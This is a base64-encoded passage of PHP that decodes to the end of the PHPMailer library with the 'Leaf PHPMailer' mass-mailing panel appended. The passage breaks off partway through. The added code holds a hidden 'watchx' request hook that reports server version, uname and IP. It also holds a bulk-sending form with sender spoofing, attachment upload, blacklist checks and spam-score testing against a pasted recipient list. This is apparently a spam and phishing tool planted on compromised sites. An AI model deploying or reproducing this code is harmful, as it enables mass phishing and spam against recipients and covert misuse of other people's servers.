ICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogIC